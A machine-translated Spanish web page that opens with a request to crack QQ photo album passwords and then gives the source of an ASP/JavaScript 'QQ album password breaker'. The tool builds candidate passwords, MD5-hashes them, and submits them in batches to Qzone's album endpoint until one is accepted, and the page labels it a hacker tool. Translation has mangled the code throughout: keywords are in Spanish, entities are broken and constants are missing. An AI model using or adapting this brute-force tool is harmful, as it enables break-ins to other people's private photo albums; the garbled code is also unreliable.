Te ruego que encuentres una forma de descifrar el álbum de fotos QQ.
lt; htmlgt;
lt; headgt;
lt; olvidé la contraseña del álbum qq (olvidé la contraseña de qq nuevamente), use esta qq album Password Breaker (Segunda edición) lt;/titlegt;
lt;scriptgt;
//document.write (MD5("58"))
función MD5(sMessage)
{
función RotateLeft(lValue, iShiftBits)
{
return (lValuet; lt; iShiftBits ) | (lValuegt; gt; gt; (32-iShiftBits));
}
función AddUnsigned(lX, lY)
{
var lX4, lY4, lX8, lY8, lResultado;
lX8 = (lX amp; 0x80000000);
lY8 = (lY amp; 0x80000000
);lX4 = (lX amp; 0x40000000);
lY4 = (lY amp; 0x40000000);
lResultado = (lX amp; 0x3FFFFFFF) (lY amp; 0x3FFFFFFF);
if (lX4 amp; lY4) return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
if (lX4 | lY4) {
if (lResult amp; ; 0x40000000) return (lResultado ^ 0xC0000000 ^ lX8 ^ lY8);
else return (lResultado ^ 0x40000000 ^ lX8 ^ lY8 );
} else return (lResultado ^ lX8 ^ lY8 )
}
función F(x, y, z) { return (x amp; y) ((~x) amp; z); p> función G(x, y, z) { retorno (x amp; z) | (y amp; (~z) }
función H(x, y, z) { retorno ( x ^ y ^ z); }
función I(x, y, z) { return (y ^ (x | (~z)) }
función FF ( a, b, c, d, x, s, ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));< / p>
return AddUnsigned(RotateLeft(a, s), b);
}
función GG(a, b, c);
, d, x, s, ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function HH(a, b, c, d, x, s, ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
función II(a, b, c, d, x, s, ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(I (b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
función ConvertToWordArray(sMessage) {
var lWordCount;
var lMessageLength = sMessage.length
var lNumberOfWords_temp1=lMessageLength 8; var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 64))/64;
var lNumberOfWords = (lNumberOfWords_temp2 1)*16;
var lWordArray=Array(lNumberOfWords-1); p>
p>
var lBytePosition = 0;
var lByteCount = 0;
while ( lByteCount lt; lMessageLength ) {
lWordCount = (lByteCount-( lByteCount 4))/4;
lBytePosition = (lByteCount 4)*8;
lWordArray[lWordCount] = (lWordArray[lWordCount] | (sMessage.charCodeAt (lByteCount)lt; lt; lBytePosition));
lByteCount
}
lWordCount = (lByteCount-(lByteCount 4))/4; p>
lBytePosition = (lByteCount 4)*8;
lWordArray[lWordCount] = lWordArray[lWordC
unidad] | (0x80lt;lt;lBytePosition);
lWordArray[lNumberOfWords-2] = lMessageLengthlt;lt;3;
lWordArray[lNumberOfWords-1] = lMessageLengthgt;gt;gt ; 29;
devolver lWordArray;
}
función WordToHex(lValue) {
var WordToHexValue="", WordToHexValue_temp=" ", lByte, lCount;
for (lCount = 0; lCountlt; = 3; lCount ) {
lByte = (lValuegt; gt; gt; (lCount*8)) amp 255;
WordToHexValue_temp = "0" lByte.toString(16);
WordToHexValue = WordToHexValue WordToHexValue_temp.substr(WordToHexValue_temp.length-2, 2); p> }
return WordToHexValue
}
var x=Array();
var k, AA, BB, CC , DD, a, b, c, d
var S11=7, S12=12, S13=17, S14=22;
var S21=5, S22=9; S23=14, S24=20;
var S31=4, S32=11, S33=16, S34=23;
var S41=6, S42=10, S43= 15, S44=21;
// Pasos 1 y 2. Agregue bits de relleno y longitud y convierta a palabras
x = ConvertToWordArray(sMessage);
// Paso 3. Inicializar
a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476
// Paso 4. Procesar el mensaje en bloques de 16 palabras
for (k=0; klt; x.length; k =16) {
AA=a; CC=c;
a=FF(a, b, c, d, x[k 0], S11, 0xD76AA478
d=FF(d, a, b, c, x[k 1]); , S12, 0xE8C7B756);
c=FF(c, d, a, b, x[k 2], S13,
b=FF(b, c); ,d,a,x[k 3], T14
, 0xC1BDCEEE);
a=FF(a, b, c, d, x[k 4], S11,
d=FF(d, a, b); , c, x[k 5], S12, 0x4787C62A
c=FF (c, d, a, b, x[k 6], S13,
b=FF(b, c, d, a, x[k 7], S14, 0xFD469501);
a=FF(a, b, c, d, x[k 8], S11 , 0x698098D8);
d=FF(d, a, b, c, x[k 9], S12, 0x8B44F7AF
c=FF(c, d, a); , b, x[k 10], S13, 0xFFFF5BB1
b=FF (b, c, d, a, x[k 11], S14, 0x895CD7BE
a=FF(a, b, c, d, x[k 12], S11, 0x6B901122
d=FF(d, a, b, c, x[k 13], S12); , 0xFD987193);
c=FF(c, d, a, b, x[k 14], S13, 0xA679438E
b=FF(b, c, d); , a, x[k 15], S14, 0x49B40821
a=GG(a, b, c, d, x[k 1], S21,
d=GG(d, a, b, c, x[k 6], S22, 0xC040B340
c=GG(c, d, a, b, x[k 11], S23); , 0x265E5A51);
b=GG(b, c, d, a, x[k 0], S24,
a=GG(a, b, c); , d, x[k 5], S21, 0xD62F105D
d=GG(d, a, b, c, x[k 10], S22,
c=GG(c, d, a, b, x[k 15], S23, 0xD8A1E681
b=GG(b, c, d, a, x[k 4], S24); , 0xE7D3FBC8);
a=GG(a, b, c, d, x[k 9], S21, 0x21E1CDE6
d=GG(d, a, b); , c, x[k 14], S22, 0xC33707D6
c=GG(c, d, a, b, x[k 3], S23,
b=GG(b, c, d, a, x[k 8], S24, 0x455A14ED
a=GG(a, b, c, d, x[k 13], S21); , 0xA9E3E905);
d=GG(d, a, b, c, x[k 2], S22,
c=GG(c, d, a); , b, x[k 7], S23, 0x676F02D9
b=GG(b, c, d, a, x[k 12], S24,
a=HH(a, b, c, d, x[k 5], S31, 0xFFFA39
42);
d=HH(d, a, b, c, x[k 8], S32, 0x8771F681); b, x[k 11], S33, 0x6D9D6122);
b=HH(b, c, d, a, x[k 14], S34, 0xFDE5380C);
a=HH(a, b, c, d, x[k 1], S31, 0xA4BEEA44
d=HH(d, a, b, c, x[k 4], S32, 0x4BDECFA9);
c=HH(c, d, a, b, x[k 7], S33,
b=HH(b, c, d, a, x[k 10], S34, 0xBEBFBC70);
a=HH(a, b, c, d, x[k 13], S31, 0x289B7EC6); d=HH(d, a, b, c, x[k 0], S32, 0xEAA127FA);
c=HH(c, d, a, b, x[k 3], S33, 0xD4EF3085);
b=HH(b, c, d, a, x[k 6], S34,
a=HH(a, b, c, d, x[k 9], S31, 0xD9D4D039);
d=HH (d, a, b, c, x[k 12], S32, 0xE6DB99E5); c=HH(c, d, a, b, x[k 15], S33, 0x1FA27CF8);
b=HH(b, c, d, a, x[k 2], S34, 0xC4AC5665);
a=II(a, b, c, d, x[k 0], S41, 0xF4292244
d=II(d, a, b,); c, x[k 7], S42, 0x432AFF97);
c=II (c, d, a, b, x[k 14], S43, 0xAB9423A7
); b=II(b,c,d,a,x[k 5], S44,0xFC93A039);
a=II(a,b,c,d,x[k 12],S41, 0x655B59C3);
d=II(d, a, b, c, x[k 3], S42,
c=II(c, d, a,); b, x[k 10], S43, 0xFFEFF47D);
b=II(b, c, d, a, x[k 1], S44, 0x85845DD1);
a=II(a, b, c, d, x[k 8], S41, 0x6FA87E4F
d=II(d, a, b, c, x[k 15], S42,); 0xFE2CE6E0);
c=II(c, d, a, b, x[k 6], S43, 0xA3014314
b=II(b, c, d, a, x[k 13], S44, 0x4E0811A1);
a=II (a, b, c, d, x[k 4], S41,
); d=II(d, a, b, c, x[k 11], S42, 0xBD3AF235);
<p> c=II(c, d, a, b, x[k 2], S43, 0x2AD7D2BB
b=II(b, c, d, a, x[k 9]), S44, 0xEB86D391);
a=AddUnsigned(a,AA); b=AddUnsigned(b,BB); c=AddUnsigned(c,CC); p> p>
}
// Paso 5. Generar el resumen de 128 bits
var temp= WordToHex(a) WordToHex(b) WordToHex(c) WordToHex(d
return temp.toLowerCase();
}
lt;/scriptgt;
lt;/headgt; p>
lt;bodygt;
lt;
start_wei_shuo=1
end_wei_shuo=12
'Diccionario de contraseñas p>
'Generalmente no se utilizan letras mayúsculas ch="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@!~^#$amp;"
ch=split("0, 1, 2, 3, 4, 5, 6 , 7, 8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v ,w, x, y, z",",")
ch2=split("0,1,2,3,4,5,6,7,8,9","," ) p>
ch3=split("a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s , t, u, v, w, x, y, z",",")
'---------------------- -----------------------
si solicitud("fun")="" entonces
gt;
lt; scriptgt; alert("Olvidó la contraseña de su álbum qq (olvidó su contraseña de qq nuevamente), utilice este descifrador de contraseñas de álbum qq (segunda edición, advertencia: no se puede utilizar con fines ilegales"
alert("Rompiendo más rápido a altas horas de la noche");
setTimeout("self.location='gogirl.asp?fun=test';", lt); ;/scriptgt;
lt;
respuesta.end
end if
'---------- ------------------------------------
sub next_char_index()
aaa=0
for i=1 a session("pwd_now_len")
if session(cstr(i)amp;"wei_now_char_index")=(session(cstr (i)amp; "wei_max_index")-1) entonces
session(cstr(i)amp; "wei_now_char_index")=0
if i=cint(session("
pwd_now_len")) entonces
si igt;=cint(session("pwd_max_len")) entonces
session("ok_break")=1
sesión( "pwd_now_len")=session("pwd_min_len")
para iiu=1 a 90
session(cstr(iiu)amp; "wei_now_char_index")=0
siguiente
salir para
finalizar si
sesión("pwd_now_len")=sesión("pwd_now_len") 1
sesión (cstr(session("pwd_now_len"))amp; "wei_now_char_index")=0
salir para
else
aaa=1
finalizar si
else
session(cstr(i)amp; "wei_now_char_index")=session(cstr(i)amp; "wei_now_char_index") 1
salir para
finalizar si
si aaa=0 entonces salir para
si aaa=1 entonces aaa=0
siguiente
end sub
'--------------------------------- -------------
función get_now_pwd()
s=""
para ia=session("pwd_now_len" ) a 1 paso -1
if session(cstr(ia)amp;"wei_type")="numandstr" entonces
a=ch(session(cstr(ia)amp; "wei_now_char_index"))
s=samp;a
end if
if session(cstr(ia)amp;"wei_type")="num" entonces
a=ch2(session(cstr(ia)amp; "wei_now_char_index"))
s=samp;
si session(cstr(ia)amp; "wei_type")="str" entonces
a=ch3(session(cstr(ia)amp; "wei_now_char_index"))
s=samp;a
finalizar si
siguiente
get_now_pwd=s
salir de la función
función final
'-------------------------------- -- ------
'main_code---start:
xml_thread_max=10
if session("haved")lt;
gt;"" entonces
para w=1 a xml_thread_max
Ejecutar("Set /cgi-bin/qzone/cgi_qzone_view_album?uin=" amp; session("qq")amp ; "albumid=" sesión("ceid")amp; "contraseña=" request("md" cstr(w))amp "" "amp;", False")
Ejecutar("http " & cstr(w) & ".send")
Ejecutar("Set Doc" & cstr(w) & "=Server. CreateObject(""Microsoft.XMLDOM"") ")
Ejecutar("Doc" amp; cstr(w) amp; ".Async=False ")
Ejecutar("Doc " amp;cstr(w) amp; ".ValidateOnParse=False" )
Ejecutar("Doc" amp;cstr(w) amp; ".Load(http" amp;cstr(w) amp; ".ResponseXML)")
Ejecutar( "establecer raíz" amp; cstr(w) amp; "=Doc" amp; cstr(w) amp; "=root" amp;cstr(w) amp; ".selectnodes(""msg"")")
Ejecutar("nodecount " amp; cstr(w) amp; "=nodelis" amp; cstr(w) amp; ".length")
siguiente
para ww=1 a xml_thread_max
if eval("nodecount" amp;cstr(ww) ) amp;"=0") y luego
response.write "lt;script language=javascriptgt;alert('Descifrado correctamente, la contraseña es:"amp;request("mima"amp;cstr(ww) )amp;"');lt;/scriptgt;"
respuesta.end
finalizar
siguiente
si sesión( "ok_break")=1 luego
response.write "lt;script language=javascriptgt;alert('Escaneo completado, no hay contraseña correcta');lt;/scriptgt;"
respuesta.end
finalizar si
finalizar si
sesión("haved" )="1"
gt;
lt;script language=javascriptgt;
md1=MD5("lt;=get_
now_pwd()gt;");
mima1="lt;=get_now_pwd()gt;"
lt;llamar a next_char_indexgt;
md2=MD5( "lt;=get_now_pwd()gt;");
mima2="lt;=get_now_pwd()gt;"
lt;llamar a next_char_indexgt;
md3=MD5("lt;=get_now_pwd()gt;");
mima3="lt;=get_now_pwd()gt;"
lt;llamar a next_char_indexgt;
md4=MD5("lt;=get_now_pwd()gt;");
mima4="lt;=get_now_pwd()gt;"
llamar a next_char_indexgt; ;
md5=MD5("lt;=get_now_pwd()gt;");
mima5="lt;=get_now_pwd()gt;"
lt; llamar a next_char_indexgt;
md6=MD5("lt;=get_now_pwd()gt;");
mima6="lt;=get_now_pwd()gt;"
lt;llamar a next_char_indexgt;
md7=MD5("lt;=get_now_pwd()gt;");
mima7="lt;=get_now_pwd()gt; "
lt; llamar a next_char_indexgt;
md8=MD5("lt;=get_now_pwd()gt;");
mima8="lt;=get_now_pwd ()gt;"
lt; llamar a next_char_indexgt;
md9=MD5("lt;=get_now_pwd()gt;");
mima9=" lt;=get_now_pwd()gt;"
lt;llamar a next_char_indexgt;
md10=MD5("lt;=get_now_pwd()gt;");
mima10="lt;=get_now_pwd()gt;"
lt;llamar a next_char_indexgt;
setTimeout("self.location='gogirl.asp?fun=testamp;why= Olvidó la contraseña de su álbum qq (olvidó su contraseña de qq nuevamente), utilice este descifrador de contraseñas de álbum qq (segunda edición) BYqq78780577amp; md1=' md1 'amp; md4 'amp; md5=' md5 'amp; md6=' md6 'amp; md7=' md7 'amp; md8=' mima1 'amp;mima2=' mima2 'amp;mima3=' mima3 'amp;mima4=' mima4 'amp;mima5=' mima5
'amp;mima6='mima6 'amp;mima7='mima7 'amp;mima8='mima8 'amp;mima9='mima9 'amp;mima10='mima10;", 1);
lt; /scriptgt;
lt;
para io=1 a 5
response.write "lt; font color=redgt; Probando contraseña: "amp; ("mima"amp;cstr(io))amp;" ------Correspondiente a md5:"amp;request("md"amp;cstr(io))amp;"lt;/fontgt;lt;brgt ;"
siguiente
respuesta.write "lt; brgt lt; brgt; brgt; lt; brgt; El ID del álbum QQ que se está rompiendo es "amp; session("ceid")
response.write "lt; .write xml_thread_max
response.write "lt; brgt; lt; brgt; Descripción: Olvidé la contraseña del álbum qq (olvidé la contraseña de qq nuevamente), utilice este descifrador de contraseñas del álbum qq (segunda edición)"
response.write "lt; brgt; HACKER"
response.write "lt; brgt; lt; a href=index.aspgt; Devuelve y vuelve a seleccionar otros métodos de craqueolt;/ fontgt; "
gt;
Lo anterior es el código fuente del programa ASP para descifrar violentamente álbumes de fotos QQ. Haga su propia investigación y descifre MD5.